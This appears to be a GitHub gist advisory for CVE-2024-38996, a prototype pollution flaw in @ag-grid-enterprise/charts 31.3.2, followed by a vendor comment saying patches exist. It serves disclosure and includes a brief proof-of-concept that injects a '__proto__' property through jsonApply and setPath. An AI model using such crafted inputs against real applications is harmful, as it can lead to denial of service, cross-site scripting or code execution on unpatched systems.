Skip to content

Instantly share code, notes, and snippets.

@mestrtee
Last active August 16, 2024 19:36
Show Gist options
  • Save mestrtee/18e8c27f3a6376e7cf082cfe1ca766fa to your computer and use it in GitHub Desktop.
Save mestrtee/18e8c27f3a6376e7cf082cfe1ca766fa to your computer and use it in GitHub Desktop.
[CVE-2024-38996] Vulnerability Advisory: Prototype Pollution, version 31.3.2

Vulnerability type: Prototype Pollution

SVSS Score 9.8 CRITICAL

Vendor of the Package: ag-grid

Affected Package:

  • Product: @ag-grid-enterprise/charts
  • Version: 31.3.2

Affected component(s):

_ModuleSupport.jsonApply, _ModuleSupport.setPath, _Util.jsonApply

Attack vector(s): the attacker can modify built-in Object.prototype by calling the vulnerable function: _ModuleSupport.jsonApply, _ModuleSupport.setPath, _Util.jsonApply with an argument containing a special property __proto__ to pollute the application logic that can be escalated to Denial of service, remote code execution or cross-site scripting attacks.

Description: Affected versions of this package are vulnerable to Prototype Pollution through the vulnerable function: _ModuleSupport.jsonApply, _ModuleSupport.setPath, _Util.jsonApply. An attacker can alter the behavior of all objects inheriting from the affected prototype by passing arguments to the vulenrable function crafted with the built-in property: __proto__. The attack can potentially escalated to Denial of service, remote code execution or cross-site scripting attacks depends on the gadgets that may affected by the attack

Proof-of-Concept:

(async () => {
  const lib = await import('@ag-grid-enterprise/charts');
  var victim = {}
  console.log("Before Attack: ", JSON.stringify(victim.__proto__));

  try {
// enable one method at a time
lib._ModuleSupport.jsonApply ({}, JSON.parse('{"__proto__":{"test":123}}'))
//lib._ModuleSupport.setPath ({}, "__proto__.test", 123)
//lib._Util.jsonApply ({}, JSON.parse('{"__proto__":{"test":123}}'))

  } catch (e) { }

  console.log("After Attack: ", JSON.stringify(victim.__proto__));

  delete Object.prototype.test;

  })();
@AG-Zoheil
Copy link

AG-Zoheil commented Jul 16, 2024

Please note this has been addressed and resolved via patch 9.3.2 for version 9 and patch 10.0.2 for version 10 of AG Charts.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment